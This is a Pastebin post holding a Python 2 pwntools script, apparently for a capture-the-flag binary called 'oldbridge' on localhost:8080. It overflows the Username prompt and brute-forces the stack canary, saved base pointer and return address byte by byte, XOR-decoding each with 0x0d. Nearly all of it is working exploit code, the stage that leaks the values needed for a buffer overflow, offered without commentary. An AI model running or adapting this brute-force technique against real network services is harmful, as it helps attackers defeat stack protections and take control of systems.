gavzik

all.py

May 13th, 2019
412
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.09 KB | None | 0 0
  1. from pwn import *
  2.  
  3. class bcolors:
  4.     HEADER = '\033[95m'
  5.     OKBLUE = '\033[94m'
  6.     OKGREEN = '\033[92m'
  7.     WARNING = '\033[93m'
  8.     FAIL = '\033[91m'
  9.     ENDC = '\033[0m'
  10.     BOLD = '\033[1m'
  11.     UNDERLINE = '\033[4m'
  12.  
  13. # oldbridge_canary.py
  14. g64 = lambda canary: struct.unpack("Q", canary)[0]
  15.  
  16. davide = "davide"
  17. canary_offset = 1026
  18. canary = ""
  19. guess = 0x0
  20.  
  21. buf = ""
  22. buf += davide
  23. buf += "A" * canary_offset
  24. buf += canary
  25.  
  26. while len(canary) < 8:
  27.     while guess != 0xff:
  28.         try:
  29.             r = remote("localhost", 8080)
  30.  
  31.             r.recvuntil("Username: ")
  32.             r.send(buf + chr(guess))
  33.             d = r.recv(1024)
  34.  
  35.             # if we don't get an exception, we guessed the correct byte
  36.             print "Guessed correct byte:", format(guess, '02x')
  37.             canary += chr(guess)
  38.             buf += chr(guess)
  39.             guess = 0x0
  40.             break
  41.  
  42.         except EOFError,e:
  43.             # guessed the wrong byte
  44.             guess += 1
  45.             r.close()
  46.            
  47. canary_ = g64(canary)^0x0d0d0d0d0d0d0d0d
  48. print bcolors.OKBLUE + 'Canary_XOR:', hex(canary_)
  49. print "Canary: \\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
  50. print "Hexdump:", hexdump(canary)
  51. print "\n"
  52.  
  53. # ret_add_find.py
  54. g64 = lambda rbp_addr: struct.unpack("Q", rbp_addr)[0]
  55.  
  56. rbp_addr = ""
  57. guess = 0x0
  58.  
  59. buf += rbp_addr
  60.  
  61. while len(rbp_addr) < 8:
  62.     while guess != 0xff:
  63.         try:
  64.             r = remote("localhost", 8080)
  65.  
  66.             r.recvuntil("Username: ")
  67.             r.send(buf + chr(guess))
  68.             d = r.recv(1024)
  69.  
  70.             # if we don't get an exception, we guessed the correct byte
  71.             print "Guessed correct byte:", format(guess, '02x')
  72.             rbp_addr += chr(guess)
  73.             buf += chr(guess)
  74.             guess = 0x0
  75.             break
  76.  
  77.         except EOFError,e:
  78.             # guessed the wrong byte
  79.             guess += 1
  80.             r.close()
  81.  
  82. rbp_addr_ = g64(rbp_addr)^0x0d0d0d0d0d0d0d0d
  83. print bcolors.OKGREEN +'RBP Addr XOR:', hex(rbp_addr_)
  84. print "RBP Addr: \\x" + '\\x'.join("{:02x}".format(ord(c)) for c in rbp_addr)
  85. print "Hexdump:", hexdump(rbp_addr)
  86. print "\n"
  87.  
  88. #ret_addr_2.py
  89. g64 = lambda ret_addr_2: struct.unpack("Q", ret_addr_2)[0]
  90.  
  91. ret_addr_2 = ""
  92. guess_ = 0xbb
  93.  
  94. buf += ret_addr_2
  95.  
  96. while len(ret_addr_2) < 8:
  97.     while guess_ != 0xff:
  98.         try:
  99.             r = remote("localhost", 8080)
  100.  
  101.             r.recvuntil("Username: ")
  102.             r.send(buf + chr(guess_))
  103.             d = r.recv(1024)
  104.  
  105.             # if we don't get an exception, we guessed the correct byte
  106.             print "Guessed correct byte:", format(guess_, '02x')
  107.             ret_addr_2 += chr(guess_)
  108.             buf += chr(guess_)
  109.             guess_ = 0x0
  110.             break
  111.  
  112.         except EOFError,e:
  113.             # guessed the wrong byte
  114.             guess_ += 1
  115.             r.close()
  116.  
  117. ret_addr__ = g64(ret_addr_2)^0x0d0d0d0d0d0d0d0d
  118. print bcolors.WARNING + 'Ret Addr XOR:', hex(ret_addr__)
  119. print "Ret Addr: \\x" + '\\x'.join("{:02x}".format(ord(c)) for c in ret_addr_2)
  120. print "Hexdump:", hexdump(ret_addr_2)
Advertisement
Add Comment
Please, Sign In to add comment